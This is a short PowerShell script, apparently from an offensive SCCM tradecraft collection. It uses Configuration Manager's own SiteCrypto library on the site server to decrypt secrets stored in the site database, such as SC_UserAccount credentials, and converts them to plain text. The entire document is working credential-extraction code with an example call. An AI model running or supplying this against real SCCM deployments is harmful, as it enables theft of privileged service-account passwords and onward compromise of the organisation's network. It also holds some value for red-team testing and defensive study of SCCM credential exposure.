Use the site server to decrypt strings in the site database (e.g., SC_UserAccount). Doesn't work in hierarchies with a passive site server.

DecryptSccmSecret.ps1

# Load the DLL
Add-Type -Path "C:\Program Files\Microsoft Configuration Manager\bin\X64\Microsoft.ConfigurationManager.ManagedBase.dll"

function Invoke-Decrypt {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Hex,
        
        [Parameter(Mandatory = $false)]
        [switch]$UseSiteSystemKey = $false
    )
    try {
        $encryptedData = $Hex
        $decryptedData = New-Object System.Security.SecureString
        $traceInfo = ""

        $result = [Microsoft.ConfigurationManager.ManagedBase.SiteCrypto]::Decrypt(
            $UseSiteSystemKey,
            $encryptedData,
            [ref]$decryptedData,
            [ref]$traceInfo
        )

        if ($result) {
            # Convert SecureString to plain text
            return [Microsoft.ConfigurationManager.ManagedBase.SiteCrypto]::ToUnsecureString($decryptedData)
        } else {
            throw "Decryption failed. Trace info: $traceInfo"
        }
    } catch {
        Write-Error $_
        $PSCmdlet.ThrowTerminatingError($_)
    }
}

# Example usage
Invoke-Decrypt -Hex "0C0100000B000000010200000...3C39"